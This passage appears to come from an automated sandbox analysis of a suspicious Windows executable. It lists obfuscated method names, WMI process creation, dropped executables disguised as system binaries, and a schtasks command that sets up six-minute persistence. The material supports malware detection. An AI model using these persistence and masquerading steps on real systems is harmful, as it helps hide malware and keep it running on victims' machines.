Source: 13ZNp2xvRU.exe, oBAhA2WHRJXZyf8H1us.cs	High entropy of concatenated method names: 'XiWMEbqCSN', 'X7IM4WdSdQ', 'wljMNjM3h9', 'sCDMahE8CC', 'HvcMXImtVy', 'rKo6KbOFJQ8EhkKxUZq', 'i8KLgOO2SsXc9jd2I4l', 'irwds5OaDjIx0o2q3Yr', 'qLZq8jOETPpL92R935T', 'zircPOObJAfoAf72TTe'
Source: 13ZNp2xvRU.exe, z21gDejewOV88FMLtJA.cs	High entropy of concatenated method names: 'QqDk1XDmfY', 'IlgkM6Mdun', 'It0pGGKDVoPaKXOiNnI', 'PCdQTGKKSAVX5gORKrU', 'xAhLkjKuQNv99lCthol', 'GUXs0EKUuRW15WyyfHr', 'tYFyOKKt7QABytFRoji', 'bgPIGLKrqxpTqGjg3kC', 'aGjbHgKsyA7EWI6BT9k', 'uZG39AKerrpkXwNvoJv'
Source: 13ZNp2xvRU.exe, v442jTu5X9MEdAlX19g.cs	High entropy of concatenated method names: 'zhGSLKomJX', 'yG9SiUn9d2', 'l3hSVByLci', 'Sa1S6EUGRq', 'lmDSGkOAyK', 'sFgvO2sbOSgjrlgRAWa', 'cEivAQspeA4Lc6YqdEU', 'ASRKe3sFGbiUiIMG91D', 'CfY44Fs2Y5N4jUAGJ6P', 'w23wRYs6tDLaXWuf2oR'
Source: 13ZNp2xvRU.exe, hNssXtdlcy8emRTei3J.cs	High entropy of concatenated method names: 'OwN0jGQjk1pw2VX1Eoj', 'LWNAj2QnK3C0vPJjkkj', 'OSLSbAQdivWyGk0gekg', 'BplIM8QXiCcT98cJJdL', 'VRwuZlYRgn', 'JvGV7xQ4VIbSrPHcMXM', 'iA14j6QCnpDfYUSR8cP', 'b4splJQI3HksACA0GTa', 'rmLWhvQW8dHqpFgp4D8', 'UtDm0TQ8eRhGXS0riwX'
Source: 13ZNp2xvRU.exe, Xerw8JjLoZ4fbTEvfqT.cs	High entropy of concatenated method names: 'K7U8R69gYf', 'SddgeY7P3QCT5LsIJIS', 'U4Pkka7OeVbY518afyc', 'fRjkUV73PE4El72VW1P', 'JQoAHV7MTdoF8vZLkly', 'NssUmc79Vy94yWhYh1g', 'amy', '_7WJ', '_3TA', 'B28'
Source: 13ZNp2xvRU.exe, buEAaqB8Qrg9xFYgogi.cs	High entropy of concatenated method names: 'EN8', '_441', 'eR1', '_284', 'V32', '_8BX', 'Yh5', 'Kg3', 'n91', 'y2f'
Source: 13ZNp2xvRU.exe, A9FZl4EfYKNomsGtoA.cs	High entropy of concatenated method names: 'iW5', '_7WJ', '_5CE', 'B28', 'rgq7WxFKqwJDZ9CXTvm', 'AJ956uFuFYiN0dGCfZc', 'dr67uIFDGB8gk3wFjqS', 'K4qsMUFUvoILL7dhpD9', 'dTHx2lFtp4GTEVHyI6l', 'XCJ1CMFrR4ZYQR7Q5sk'
Source: 13ZNp2xvRU.exe, dwbjhqjFh15KqVIiiSI.cs	High entropy of concatenated method names: '_1I3', '_7WJ', 'Aa7', 'B28', 'W4sSLI6kDaikqDNJnf4', 'ykyW7X6vstEKH5Avswc', 'UWF9jg6mKIGXSUOVVxE', 'MyIMnX6NmC4wAIkuHaF', 'oigALc6q6pZRxt0QIBi', 't0R4ge6S9R8iBpeU08b'
Source: 13ZNp2xvRU.exe, t24YeLBIYdAsZc7oDV5.cs	High entropy of concatenated method names: 'IFGGabP5OT', 'scFGXlmNHN', 'mL9Gg61wLs', 'mpjGeovNRC', 'MpIGKDFmUG', 'mndkH8CwQKDBu7M86tb', 'pXkB2mCjZqbocynMGsi', 'J2hg3DCnrpmC1RhsGep', 'Hw2L1pCgddm0k3VmHAb', 'N5PMmOC481IDK9xW0wN'
Source: 13ZNp2xvRU.exe, a6ou0LGFwJiU6HxUfX.cs	High entropy of concatenated method names: '_9Qy', '_7WJ', 'M4k', 'B28', 'RU2RvFafaUD0tkNa8Da', 'b5XfEDaYcqUwt2ZZMRm', 'BuoBF2azMkJabx3uljm', 'vC23tpEoJO8Ke98ZcYT', 'yLBN5LElHVMR1gEFYk7', 'DGEC3dEaIufs8NsatEh'
Source: 13ZNp2xvRU.exe, fARHwM5KwipCB3gFSA.cs	High entropy of concatenated method names: 'FQgGBXFFe', 'uhlYGHces', 'iZKyXXFVH', 'JqPf2euko', 'G8iTDCoU0', 'z92FdB7Za', 'ER9BKenUE', 'DZtOTUl6a1kYhkbef8T', 'KiCbvol1tqoQyHG8o2n', 'pXIdDml75mcikIJWHPO'
Source: 13ZNp2xvRU.exe, DphomtXJs7gnjXyFZx7.cs	High entropy of concatenated method names: 'JvS0UqlTQ6', 'rPl0Ri1he2', 'DFJ0pigyHe', 'bDm0P8DJ7o', 'MwW0wG0w1g', 'nok8wGiKwWruqOGq600', 'nJLmBFiuUnqvnK809sd', 'VinAZMi1LaCpqUYIPdo', 'l1hYuUi7iONa0vtsrPJ', 'zIaJrdiDm51jWAbd3vZ'
Source: 13ZNp2xvRU.exe, QRE3Ldts2cqUtyRbMwt.cs	High entropy of concatenated method names: 'GsgBVFSAi1', 'W4y', '_854', 'lF2', 'L4YB6glaJk', 'e61', 'aFUBGsPTlP', 'MW0BYHyegG', 'ft5', 'aYSByW5WoJ'
Source: 13ZNp2xvRU.exe, T861NuNwrUAEsu7Ke0.cs	High entropy of concatenated method names: '_8k1', '_7WJ', 'B73', 'B28', 'CDYjw7EycFFbXAXEV2j', 'ubpI0YEHerJHVjNw1FH', 'fjJPPEEfTWjYlKAVrtA', 'v5XH6HEYLMHSU5GNjAq', 'Yd8lSTEzde4lDjpYx1Y', 'L6S1CCFoiJgvmtywhAV'
Source: 13ZNp2xvRU.exe, vgtrKCtuMAwxSrLCo9R.cs	High entropy of concatenated method names: 'AsXy0o2Wgu', 'Ikyy2LJmtD', '_431', 'Y3YyqYyR1B', 'MBGy1kVkQo', 'kIoyMM4cDn', 'j9uyrbj1Zi', 'yIhNhX8h1xoWDbUV4Eg', 'aHmArx8iXF5WnBoVpkp', 'DY7Qbv8V0IXc2eHiiH8'
Source: 13ZNp2xvRU.exe, DiXJcxgrR7HVLjfPFn.cs	High entropy of concatenated method names: 'a4d', '_7WJ', 'Lq4', 'B28', 'cSqJC6E4VmG2koT8wVm', 'zZ156GECMdpeQmy8Fr6', 'HZCmWSEI2eqZwI1mJKe', 'fVFN0MEWxV7Ram1x8cp', 'mX8kYvE8UdeMKF5dfBX', 'j6ZWDME02X589Xi9tnM'
Source: 13ZNp2xvRU.exe, aDwHUUtPV93wuN7gHUe.cs	High entropy of concatenated method names: '_5U3', '_52K', '_6a8', 'diAfYnoDRX', 'wAmfy3mrEp', 'scfffgFxbb', 'xECfTWgAC1', 'qbOfFYJIrt', 'HWIfBSc8ug', 'fm5d5mBTDThDIXhRmuY'
Source: 13ZNp2xvRU.exe, kHPdrFu0jx6NwZm5LKC.cs	High entropy of concatenated method names: 'yu1QHkNUDr', 'QSoQoLJUaL', 'DmSwXDtMrQfcOk3cQnC', 'qL0GMOtPwKFqyyqVYQk', 'L3KAeutOQVH1CyQ1nZZ', 'fi1p3It9fXySCgYcWmR', 'h2ROfItxRwZUVTPkVv8', 'iyk0UVtGCDaELyMl8qo', 'hoEaKEtdA83SR3pBiCB', 'BB2aERtX8qgBS9656r6'
Source: 13ZNp2xvRU.exe, wBFSjouqFOjtUOWngAM.cs	High entropy of concatenated method names: 'uiaSnotmWu', 'JU4SZM2wIj', 'p92xXKrdigZZJZJwsTt', 'yQejkxrXnWPwYCkIswf', 'uuccmhrxt0Cc36QjQDB', 'WKxEJNrGN6JM06seKnY', 'U5W6CGrjVnlDpemh1II', 'WDmnPOrncqucy6CGByM', 'h0iQBcrwgPFfTyeP7OO', 'Qb3FJGrgWPj3HugFfRv'
Source: 13ZNp2xvRU.exe, MJLxivWStI0iE7tgaKj.cs	High entropy of concatenated method names: 'Y54', 'Lc3', '_3f3', 'pt9', 'nBO', '_74N', '_777', 'oG5', 'Ry1', '_3bJ'
Source: 13ZNp2xvRU.exe, JbMnCgX9QYRFnXo5Oxh.cs	High entropy of concatenated method names: 'A9l', 'PuXESjc2wN', 'Xmgq7a5gMA', 'P4eEaQXbb8', 'GH2PZQ3ahK2ckxpdaPK', 'HrwX7R3EsTXKamam75x', 'I96WTx3FWNxL8QpK7rJ', 'FoiLGP3oRwgkFy3t4e2', 'IR5ku53lIo0xcRF5NBr', 'hBlJFY321FnBrLBc6JZ'
Source: 13ZNp2xvRU.exe, xQCB57Whn21OYC4usSb.cs	High entropy of concatenated method names: 'bdbZH8p9UB', 'iblZOw5rUQ', 'QtYZE38xtP', 'h5PZ4bjN71', 'gWXZN95Oyf', 'AEhZaBTuYe', 'nC1ZXmqfjf', 'PKEZgXedVp', 'qKNZeW2W9J', 'nPaZKAvy2f'
Source: 13ZNp2xvRU.exe, PAh79gBOxtauId9roHb.cs	High entropy of concatenated method names: 'uqVGUuVOiA', 'oUCGR5P7QV', 'nADGp5NXtP', 'V35GP5INgA', 'OYcGw6cEoX', 'FwfGHBCA85', 'c8omwMCcSOaAblfe7MJ', 'f1o3TgCqunwwxSK4N6O', 'SoNt2vCSj6SowP0aQKf', 'kIEL0aCyDGU04XX3LUI'
Source: 13ZNp2xvRU.exe, KXANTYPUPXu5w3OPDA.cs	High entropy of concatenated method names: 'j37', '_7WJ', 'm1w', 'B28', 'fufX9cSmZ', 'YuONGUaJV5VvtEo9Odt', 'oWtVrVaREhooBgdjILd', 'Ot1pY4ah2GfNTNi6hxK', 'XT2dnAaiQvyYvNHTqRH', 'c546l5aVUWvlNjKRA4G'
Source: 13ZNp2xvRU.exe, uuybSCucW2xppEKta6N.cs	High entropy of concatenated method names: 'JtfkYVEPZ1', 'UjpkyQ9LYR', 'mfikfQluvV', 'dfuoyEuwTB6Lnqo2MlP', 'CmIMrPugJ6k3fqveHQg', 'I6JM3Eu4K48XXLoeSXq', 's6KyqVuCpgnv7bnswL1', 'Gna6KUuIjwRNfGndTB2', 'U4n5bauWPGbXphRMrkk', 'o4X4cGujH1jBqXuoGwu'
Source: 13ZNp2xvRU.exe, cpiVb9jrcTFq94CfoVr.cs	High entropy of concatenated method names: 'UH1kVtutEO', 'wHHk6tFx51', 'cF0kGlGFcQ', 'CGY07yuuWeHW8e0q1N7', 'WVWJs3u7aAqKhs9FGym', 'T2UoLCuK7HOh5DNINK1', 'j1cgUkuDlYtFXJekl9k', 'CQsf5PuUQScNcsyTSlY', 'io7kidutTZrGYRLTNO7', 'ylIPEjurfAxHSEHIta8'
Source: 13ZNp2xvRU.exe, NxHcaNhDChlbFsGZFv.cs	High entropy of concatenated method names: '_321', '_7WJ', '_726', 'B28', 'GPfc8N2GPbgon0W2VYQ', 'YTrxcs2ddjQENaYxEoB', 'X7tpes2X6duRm6KQ1lW', 'qJwVuk2ju7Emy69I495', 'EmAMZc2nmp2U5kTQMkb', 'XqBDog2wTHrJVCLLPWO'
Source: 13ZNp2xvRU.exe, QhhTRNW0JFeXn8ukLHo.cs	High entropy of concatenated method names: 'jjUrSqPjAX', 'dEZrJYMB3o', 'UqGrlQGAoC', 'vIQZKyOiJs1DyFttGoH', 'bkVdLyOVOPAkJeT9MlI', 'aAGxM7ORmNtcsFDQhju', 'SCgXAiOh39bEiqqLEdc', 'jo8QaMO38e9OAmAJWAH', 'r1VB9nOMQWfjE3MQUnE', 'kxGFtqOPDKvFogwV2Ta'
Source: 13ZNp2xvRU.exe, HqN39VXhQaFGmNVsU1Y.cs	High entropy of concatenated method names: '_7n5', 'iS6', 'mrmEhJucFG', 'OSX', 'BCHE0VPPJX', 'xjFG7P3f6ygQ5nklwsb', 'QSL48E3YLglqNy8ubn3', 'CuSfkO3zGb13QYuiiqf', 'DsL9o3ModA0OwnR44ow', 'eFOBwCMlhgK91eEW9xR'
Source: 13ZNp2xvRU.exe, Dgui2LW4bB9bvCkCdZ8.cs	High entropy of concatenated method names: '_79V', 'UnI', 's58', '_442', 'zian7rNSvE', 'Eca', 'SIJn8flT8D', 'oQlnkNrXXv', 'Y42', '_21Q'
Source: 13ZNp2xvRU.exe, v94j3KW3rOxHAyaoKig.cs	High entropy of concatenated method names: 'b67', '_943', '_2E2', 'P9S', '_7KZ', '_184', 'm97', '_2RG', 'wsE', 'o96'
Source: 13ZNp2xvRU.exe, DXddRGydQAMlsDA87P.cs	High entropy of concatenated method names: 'wJUOygmYG', 'yceEHrSJc', 'AhG4mw3sw', 'VH4M8flIBudrftE9CJP', 'L7NHIvl4tOtAH5RcM9s', 'HsgaailCqBOL3hp2e03', 'yeDlXQlWrQmwXQiLfVq', 'VRm709l8MyZDL40UrNA', 'aTEJR6l0CeWixBxgNGW', 'H41FcvlBjKpS5mRmjdr'
Source: 13ZNp2xvRU.exe, YJMEZaXjW4V0uxYOIOy.cs	High entropy of concatenated method names: 'HXh5BEi0ZQ', 'NTl5xOqt4T', 'wo15uHtXih', 'rPX5mLU5tk', 'GAl4n8J2Wst2YpXKDdi', 'RmqHPCJEMsTnvEp1je0', 'zxoFX2JFHC1bdM7sO3n', 'u8RG0aJbDnHIHEjobZj', 'nXsZJ6JpxcDaV3x2bRo', 'jgHE7vJ6ItxpKXvnDmN'
Source: 13ZNp2xvRU.exe, aBdXETttaRElWTccJUR.cs	High entropy of concatenated method names: '_77s', 'iIQ', 'vN9', '_6c2', '_4d1', '_34n', 'Jx4', 'nkV', 'k4X', 'ZyP'
Source: 13ZNp2xvRU.exe, ASWvO2X7hTduqCmTeg5.cs	High entropy of concatenated method names: 'M8C2v74XoE', 'I9c2IbpE6s', 'KOQ2twEjEB', 'J7OhUMimqdjocT2chQj', 'WUHpyvikburq67nxTpG', 'QOYoZwivNe0Qhj4flhD', 'pTZyipiNmF5WNKvOxUe', 'rq62ljVRIu', 'FG425q8j9u', 'bku20eF6IH'
Source: 13ZNp2xvRU.exe, TvKh5QdSUVnE0EmJcCL.cs	High entropy of concatenated method names: 'a4VQlqMM7TSow', 'fGmM9gQRegVfAShqZQi', 'fVbEm0QhFfrDxine6Cc', 'x0uNZJQimspSEFL2INm', 'cJwFuEQVET9lpBeJj9o', 'aUbfuDQ3FNlCusUE4kS', 'qNhSl2QLF7e68JdOg1p', 'ueQTtqQJxksfQHTeAjF', 'R00BCfQMyx9pbrgaCgT', 'WaXdvWQPJLlDlfOPKoX'
Source: 13ZNp2xvRU.exe, SdZkcUX11HFFYLyPKm6.cs	High entropy of concatenated method names: 'ovT0Kh6Quv', 'QrD0WIuh7h', 'iXf0cUuaUI', 'FFB0hU5qFU', 'MZhbYQhWge3PuBKAjV3', 'S1hKxeh88wEhsu1cgUH', 'nalfAAh0r2EQSA42Ab0', 'NSnE9ShCCuFvR9nftVN', 'dPsqyqhIUMUTLsBDetE', 'Bq9q1bhBs8EqQP2h6xR'
Source: 13ZNp2xvRU.exe, io1bSRXz5YiccBw6j0c.cs	High entropy of concatenated method names: 'SYBqTfTMxV', 'xB6qFQ0Mqx', 'VcqqB3LlZb', 'Mwyh7ZMkcV35JsVHbmt', 'uy0FD0Mv5eHhbD0PV95', 'RcImjEMQWo6k6Slxxyh', 'cY4H78MZoXGXg1T3Wxu', 'J4iY47MmYheEN91HuYI', 'YpeVf7MN7KpyRZGAieF', 'TwOY4GMqHijfG6Xc4Sm'
Source: 13ZNp2xvRU.exe, eZ0ut7ZReZZjd4G15b.cs	High entropy of concatenated method names: '_1h5', '_7WJ', 'TyQ', 'B28', 'g0qXrW2Qg1moZ31CZcB', 'q8xRuI2ZateKsiAoADV', 'KrLh6C2kPWqQIrNfIUQ', 'YDvqO42vU2WgX1Nf9IR', 'ixRrMT2mshdSJiL4WkE', 'wblHKQ2NAVVwsTd3dia'
Source: 13ZNp2xvRU.exe, fo7VnfXM9xIPjqo8Lqv.cs	High entropy of concatenated method names: 'qTn', 'rMM', '_561', 'P7I', '_6pi', 'VqM', 'cx3qluVLjBGYSStCwib', 'bEFDEoVJY0xY2ZHfhHf', 'nD93diVR540b9wZTOfj', 'Si2P44VhdxKKZOMRxCI'
Source: 13ZNp2xvRU.exe, lgckqmuLR8kN9kXXBXx.cs	High entropy of concatenated method names: 'ig7JBFV57U', 'rJayjYAE5p8Y2tUnTTd', 'JbD9S2AF7AtS94hQ9Eb', 'ifGtPHAljjkodMqmm3E', 'YpfJauAajDAqV3Ukp58', 'AiRpx9A2nlCqJ9nOSrX', 'EXIJ57AbF5VdF68aWPO', 'Pgc0Z9Ap6YbWQAdlrea', 'JwlkIMA6Dim3TcwcQC6', 'qetVRJA1oFuerd9hoGI'
Source: 13ZNp2xvRU.exe, exY8t4t9eoP0kGBCqWx.cs	High entropy of concatenated method names: 'K8a', '_117', 'kUdB2cIWE8', 'sBqBq0QX0s', 'YcQB16ZQ6X', '_8x7', 'Irc', 'R21', 'B53', 'zP8'
Source: 13ZNp2xvRU.exe, uIfKSMX6bgumv982qZP.cs	High entropy of concatenated method names: 'oB5', '_7u7', '_4U6', 'NpHq1iZfCk', 'feBEu5RIr2', 'C2QqMJA0Ji', 'ntfEfL2X6A', 'rC7geq358s7qHCo6Tmy', 'PtMPlG3QEq8DWfOHxpx', 'OZpE3e3BR2Nrlcj2F17'
Source: 13ZNp2xvRU.exe, yoIqLeWaBBU89WQ9qVm.cs	High entropy of concatenated method names: '_912', 'SuF', '_451', 'BdL', '_782', 'gY9', 'q92', 'ZYw', '_35s', 'I83'
Source: 13ZNp2xvRU.exe, QJjFpOjd04fbJlptKrr.cs	High entropy of concatenated method names: '_155', '_7WJ', 'viq', 'B28', 'bKMYBKbyiZQuFuMxF3i', 'cdWcC4bHm9bRnGtklvr', 'y88o0kbfAbsSmq9LHGB', 'ATP3tRbYI6dfL5DeWJF', 'PBC5F9bzZg6SMv0VNRs', 'nTHmVapo4YrRokIMFS2'
Source: 13ZNp2xvRU.exe, XUwwxF32wVPKveFO3w.cs	High entropy of concatenated method names: '_4I7', '_7WJ', '_98d', 'B28', 'VxCqJQ2cSlR4iO0fJ4m', 'pSC88i2ysjjQoh8Veth', 'uKGEbv2HuDIQ76Puq40', 't63TCQ2fOCNx3lhuFFy', 'nq8lnN2YJQihYyl3Ip1', 'AgUS6k2zsMDeh4MBbRA'
Source: 13ZNp2xvRU.exe, q6q31BtcVXevoZcYS3K.cs	High entropy of concatenated method names: 'ET5Yc3OCnm', 'D4VYhQuEyQ', 'QnwYbBVEQI', 'JFjYCNAlhl', 'aloYdGdbkU', 'x9uY3C9Uh5', '_613', 'IO3', 'Mp1', '_7FY'
Source: 13ZNp2xvRU.exe, TNZSY9jSUZe9AL3uQjL.cs	High entropy of concatenated method names: '_71I', '_7WJ', 'TO2', 'B28', 'GgZ7VYpRWYQpC9s39M6', 'A4dHR3phaBwextdGS8p', 'bFk3YIpi6KMJ0fMdyh3', 'PaMwaCpVJOWiFImfAJk', 'oXGn1Bp3RYCvJ9K4Fhh', 'ygRl6WpMAeJZTn8WnqV'
Source: 13ZNp2xvRU.exe, qCt7wS7BLCp6d4vweJ.cs	High entropy of concatenated method names: '_0023C', 'IndexOf', '_0023D', 'Insert', '_0023E', 'RemoveAt', '_0023F', 'get_Item', '_0023G', 'set_Item'
Source: 13ZNp2xvRU.exe, F4pJghj1WMUqAZrhvfM.cs	High entropy of concatenated method names: '_93E', '_7WJ', '_855', 'B28', 'dbuRjbp8V1gxuLbu6qm', 'YYtBjAp0H9WeC1wYNyy', 'j4kFXhpBCZHL7RkZxeo', 'RXjbj5pTkxJqQpl0n8X', 'Dm5dA6p5SlZdZocOvhY', 'CDJjDipQE3UvIRbjiI1'
Source: 13ZNp2xvRU.exe, KbN4E4jIk85auQktUjt.cs	High entropy of concatenated method names: '_6L9', '_7WJ', '_5E1', 'B28', 'tM40mO6zGwZpZcX120W', 'Qvwnhn1oSFQlIlQFZoC', 'gAZBuE1lQ59GgBtfhqm', 'taKNu31aoGLt7LTfj5Y', 'kJ7F0Q1E9KQliikGep7', 'M5ZXAp1FmixwVOTcFwG'
Source: 13ZNp2xvRU.exe, b8ZmC6jJ0Uq0AY1g6cj.cs	High entropy of concatenated method names: '_95T', '_7WJ', '_5Kd', 'B28', 'QnqKaF6lAoxe4Ic29IT', 'vRYGmE6a37nbZD267WC', 'rNGBxD6ETO0SpPqAWPd', 'gxxEJj6F8XOTbh4JGtM', 'kmLZxa62mDGV7gkdW1D', 'WuykPQ6bnt3SRoad2In'
Source: 13ZNp2xvRU.exe, MGpXA0K4ffRiaVBQos.cs	High entropy of concatenated method names: 'V3p', '_7WJ', 'YGt', 'B28', 'qmPplcaKBEMMEIJfdBq', 'IdcOU8au53ctbGpwJgh', 'd9JBv9aD6j9y4CQmUH3', 'aO6iL4aU7aTNlxhvgaf', 'O1ASAUatAYsQiMXWYbs', 'dywGXOarb6u3voAtwht'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops executables to the windows directory (C:\Windows) and starts them

Source: unknown	Executable created and started: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe
Source: unknown	Executable created and started: C:\Windows\Panther\setup.exe\fontdrvhost.exe
Source: unknown	Executable created and started: C:\Windows\twain_32\Registry.exe

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Recovery\RRVGfHJzvQMYfWe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\twain_32\Registry.exe	Jump to dropped file
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\ProgramData\smartscreen.exe	Jump to dropped file

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

File created: C:\ProgramData\smartscreen.exe

Jump to dropped file

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\twain_32\Registry.exe	Jump to dropped file
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File created: C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 6 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /f

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
